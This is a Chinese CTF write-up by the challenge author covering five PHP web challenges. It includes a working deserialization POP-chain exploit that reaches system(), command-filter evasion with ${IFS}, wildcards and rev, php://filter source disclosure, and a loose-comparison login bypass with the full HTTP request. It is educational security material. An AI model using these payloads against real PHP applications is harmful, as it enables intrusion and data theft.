写在前面
题目主要涉及的是前端 php 内容知识,仅以本篇博客记录自己 Web 出题的奇思妙想。
Copyright © [2024] [Myon⁶]. All rights reserved.
目录
1、HTTP
2、再见了晚星
3、myon123_easy_php
4、baby_P0P
5、LOGIN!!!
1、HTTP
https://img-blog.csdnimg.cn/direct/ab0b91af726e4937af37b18660339425.png" />
首页文件默认就是 index 这种,比如 index.php、index.html
这里题目页面在 index.html,但是查看源码并没有发现什么
尝试访问 index.php,发现被重定向到了 index.html
使用 bp 抓包重发
回显 flag:flag{Y0u_ar2_RiGHT_careful_br0}
https://img-blog.csdnimg.cn/direct/670c12447ab9424bb305112f32db552a.png" />
2、再见了晚星
payload:
get 传入数组绕过,参数名则是使用 . 绕过
?M.Y[]=1
post 传入
M=1&Y=一百万个字符+swctfmyonsnert
利用回溯绕过
https://img-blog.csdnimg.cn/direct/018013846c004c498c8a2557ffd2cf4a.png" />
拿到 flag{ThInk_cOnstantly_0f_There_w1ll_be_n0_echO}
3、myon123_easy_php
第一个使用 php://input 写入对应数据(hello Myon!)
https://img-blog.csdnimg.cn/direct/96a39f13259645b5a1a1dde406c2b0f1.png" />
使用 php://filter 读取到 myon.php 的源码
?myon1=php://input&myon2=php://filter/read=convert.base64-encode/resource=myon.php&myon3=1
post 还是写入 hello Myon!
https://img-blog.csdnimg.cn/direct/90e6415762d1418f8a86903674825879.png" />
反序列化利用
https://img-blog.csdnimg.cn/direct/422df5638b2e4b03a5f06309fb49ac2f.png" />
构造最终 payload:
?myon1=php://input&myon2=myon.php&myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
post 还是写入 hello Myon!
https://img-blog.csdnimg.cn/direct/4ce7df1d31104dce8c8d59e2b993e193.png" />
解码得 flag
https://img-blog.csdnimg.cn/direct/8d1382dbef1c448b803690711ead3bbe.png" />
flag{BreAk_tHe_c1rcLe_anD_StAnd!}
4、baby_P0P
https://img-blog.csdnimg.cn/direct/d37f2021c5e64ed19ac55bc93c94fbff.png" />
php 反序列化 pop 链构造勇师傅寒假培训讲过了
这里前端源码就是一个很典型的简单的 pop 链构造:
php">$n = new nginx();
$a = new apache();
$a->lin=$n;
$i =new iis();
$i->kha=$a;
$t = new tomcat();
$t->drew=$i;
$e = new eva1();
$e->old=$t;
这里主要是对 preg_match 的绕过,过滤掉了一些命令和关键字
我们先尝试执行 ls 命令
注意 payload 需要进行base64编码输出,因为源码存在 base64_decode
exp:
php"><?php
class apache{public $lin;public function __toString(){$this->lin->check();return '';}
}
class tomcat{public $drew;public function __get($name) {($this->drew)();}
}
class nginx{private $pay='system';private $par='ls';public function check() {if (!preg_match("/(cat|tac|flag)|\/[^\/]*\/|\s+|(\.\.\/)/i", $this->par)) {($this->pay)($this->par);} else {die("勇师傅察觉到你的参数不对劲");}}
}
class eva1{public $old;public $new;public function __wakeup() {$this->old->new;}
}
class iis {public $kha="hello myon!";public function __invoke(){ucwords($this->kha);}
}$n = new nginx();
$a = new apache();
$a->lin=$n;
$i =new iis();
$i->kha=$a;
$t = new tomcat();
$t->drew=$i;
$e = new eva1();
$e->old=$t;
echo base64_encode((serialize($e)));
https://img-blog.csdnimg.cn/direct/79123f2542b347b1b478f2e7209d7c39.png" />
构造 payload:
php">?snert=Tzo0OiJldmExIjoyOntzOjM6Im9sZCI7Tzo2OiJ0b21jYXQiOjE6e3M6NDoiZHJldyI7TzozOiJpaXMiOjE6e3M6Mzoia2hhIjtPOjY6ImFwYWNoZSI6MTp7czozOiJsaW4iO086NToibmdpbngiOjI6e3M6MTA6IgBuZ2lueABwYXkiO3M6Njoic3lzdGVtIjtzOjEwOiIAbmdpbngAcGFyIjtzOjI6ImxzIjt9fX19czozOiJuZXciO047fQ
回显成功
https://img-blog.csdnimg.cn/direct/faea868079104f63867a43b4e9f37010.png" />
我们可以在根目录下发现 flag 文件夹和 secret 文件夹,里面还包含了一层文件夹,但是这里过滤掉了连续的/,也就是说我们不能对两层目录直接操作,我们想要读取里面的文件,可以使用分号绕过,先 cd 到某个文件夹下再执行其他命令。
cat 和 tac 被过滤,可以使用 rev 命令反向输出;
空格被过滤,使用 ${IFS} 替换;
flag 被过滤,使用 * 通配符。
因此:
php">$par='cd${IFS}/f*;cd${IFS}fllllag;rev${IFS}f*'
生成 payload:
php">?snert=Tzo0OiJldmExIjoyOntzOjM6Im9sZCI7Tzo2OiJ0b21jYXQiOjE6e3M6NDoiZHJldyI7TzozOiJpaXMiOjE6e3M6Mzoia2hhIjtPOjY6ImFwYWNoZSI6MTp7czozOiJsaW4iO086NToibmdpbngiOjI6e3M6MTA6IgBuZ2lueABwYXkiO3M6Njoic3lzdGVtIjtzOjEwOiIAbmdpbngAcGFyIjtzOjM5OiJjZCR7SUZTfS9mKjtjZCR7SUZTfWZsbGxsYWc7cmV2JHtJRlN9ZioiO319fX1zOjM6Im5ldyI7Tjt9
https://img-blog.csdnimg.cn/direct/e59737cf0de94aabb8ea6d4021bf1dc7.png" />
得到:
php">==AAAAAAAUHAAAgWAEAABAAAAAgBFsEUBoNi1G8KttUAajozsLeOWHg2I6Mh+/WdAgBABAAAAAAAgAgCwhGcucWYsZGAAAAAAAAAgAAAAAAAAAAJAgAAAAARAAAAPdzw0aPWHyYEAgAAJAAFAQhABsEUFV/3VZ6r7RhNVKVa4oqST6MSA8SkMKYObJLfnrw+DF7OqTfTdCY0Kbc6nx5x/papgYPF3IVcCn2eVZi8gPUM5sEoM0Pw79RSiDDVfCUdyBHaw5yZhxmZAAAAIAAAAQEAAAwT3MMt2j1hMGBAIAQCAQBBDsEU
先取反向,再解 base64
PK 头,很明显的压缩包文件
https://img-blog.csdnimg.cn/direct/27a5f1307c7047a392074ac13b46b8f0.png" />
之后以同样的方法先确定到密码文件的位置,再读取 secret 文件夹下的密码
php">$par='cd${IFS}/secret;cd${IFS}p*;rev${IFS}p*'
https://img-blog.csdnimg.cn/direct/b7aa6ecd269c438892d85bd9c792ea61.png" />
密码同样需要取反
php">you_are_also_good_at_misc
使用密码打开压缩包,即可得到 flag
https://img-blog.csdnimg.cn/direct/b77b741706854bb289165719b8323b30.png" />flag{msP6ZuMXpi9InmmrzHN0GpLG6UPnfveBhscnSNJn}
5、LOGIN!!!
基础知识问答,只有 278 是对的
https://img-blog.csdnimg.cn/direct/aa557858d5dd4c44a1cc715805c9d3d9.png" />
全部回答正确,回显了两个路径: ll0g1n.html 和 eeev01.php
https://img-blog.csdnimg.cn/direct/afd270a107054e6b95eef2bd40a47071.png" />
访问 ll0g1n.html,是一个登录框
直接试是不行的,这道题需要先拿到源码才行
https://img-blog.csdnimg.cn/direct/4f46ccdbe97644a8a0fba320584a152a.png" />
但是这里 F12 可以发现另一个路径:he111p.php
https://img-blog.csdnimg.cn/direct/d43c009a9cbc454dbf5f2be0fe86c812.png" />
访问 eeev01.php
这里可以读取变量,我们直接读全局变量 GLOBALS,它是一个包含了全部变量的全局组合数组
构造 payload:
php">?hack=GLOBALS
https://img-blog.csdnimg.cn/direct/42d558b44796405fa4f8261377bb7043.png" />
得到信息:
php">const myon3 = String.fromCharCode(64,104,65,118,101,95,102,85,110,95,119,49,84,104,95,74,97,118,97,83,99,114,105,112,116,33)
访问 he111p.php
需要输入 key,但是 key 目前我们还不知道
源码注释里有给 key 是怎么来的:
key = myon3 + (((myon1.toUpperCase()).substring(2, 6) + myon2.substring(7, 11)).toLowerCase()).substring(0, 28)
这个是 js 代码
https://img-blog.csdnimg.cn/direct/425823168d4d4c61a584fe6dbfb8f3fa.png" />
我们已经有了 myon3,接下来继续找 myon1 和 myon2
这里存在 robots.txt
得到:
php">username:tooreval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2 3 = "1"2 4 = "0"',62,5,'Coding_is_Fun|I_Love_JavaScript|const|myon1|myon2'.split('|'),0,{}))
登录界面用户名是 toor,第二行是 js 压缩加密
https://img-blog.csdnimg.cn/direct/f69489c34bfd48f8a23059c52a072583.png" />
找个在线网站解密
得到:
const myon1 = "I_Love_JavaScript"
const myon2 = "Coding_is_Fun"
https://img-blog.csdnimg.cn/direct/10a46a88451b4bfc99f91e3864ca924e.png" />
将代码整合起来,运行 js 代码输出 key:
const myon1 = "I_Love_JavaScript";
const myon2 = "Coding_is_Fun";
const myon3 = String.fromCharCode(64,104,65,118,101,95,102,85,110,95,119,49,84,104,95,74,97,118,97,83,99,114,105,112,116,33);
key = myon3 + (((myon1.toUpperCase()).substring(2, 6) + myon2.substring(7, 11)).toLowerCase()).substring(0, 28);
console.log(key);
https://img-blog.csdnimg.cn/direct/bfaa8a43bbf64f71a0175c7a5a8eab86.png" />
得到:
@hAve_fUn_w1Th_JavaScript!loveis_f
回到输入 key 的页面 he111p.php,输入上面的 key
得到一个交换文件的路径,我们直接访问下载
https://img-blog.csdnimg.cn/direct/7666e37aa9054a2abbb627c698fc06b2.png" />
直接看的话不太清晰,我们需要先修复
简单说一下,这种 .swp 文件是在 vim 编辑文件时,文件未正常关闭,就会生成这种交换文件
https://img-blog.csdnimg.cn/direct/9850f50d833247fab6c940bb8761eb84.png" />
使用 vim 命令修复
vim -r @l0g1n_s0urce.swp
https://img-blog.csdnimg.cn/direct/e5fa6d5d3487479598e4bed3ed7c1c12.png" />
回车,得到原文件
这个也就是那个登录框的源码(输出的 flag 我用XXX代替了)
https://img-blog.csdnimg.cn/direct/d05d2b72ad624f43a95017e6cb673e63.png" />
wq 保存退出,得到 @l0g1n_s0urce.php 文件
代码审计:
https://img-blog.csdnimg.cn/direct/e35f3c036fb34eff9e401c5cdcf39d1c.png" />这里的用户名就是 toor,密码是随机生成的 10 位数字,但是这里使用了弱等于,因此可以采用 php 弱类型比较绕过,true == 任何的非0随机数字:返回 true;
这里还有一个条件,user-agent 需要强等于指定的值:
MYON/2.0 (Windows NT 10.0; Win64; x64
使用 bp 抓包重发:
POST /login.php HTTP/1.1
Host: snert.com.cn:20009
Content-Length: 82
User-Agent:MYON/2.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/json
Accept: */*
Origin: http://snert.com.cn:20009
Referer: http://snert.com.cn:20009/ll0g1n.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=f4d46b5b-ac18-4155-a518-81d74da32dcf
Connection: close{"username":"toor","password":[true,true,true,true,true,true,true,true,true,true]}
https://img-blog.csdnimg.cn/direct/8ed61603baf54c1697cec6ed2e9ccc73.png" />
多发几次,只要这 10 位随机数密码里面没有出现 0 ,就可以成功
https://img-blog.csdnimg.cn/direct/0b0fe9d5b58444e1b7c20cde10f2f560.png" />
得到:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoie215b242X2Jsb2dfY3Nkbl9uZXR9In0.AnXhydUNXKadN - Gr - knp6TXhHhrZhnIh035KXjihzeA
很明显的 JWT 格式,直接解码
https://img-blog.csdnimg.cn/direct/1e4c113ff24a42a58ce729b6340f0075.png" />
得到 flag:flag{myon6_blog_csdn_net}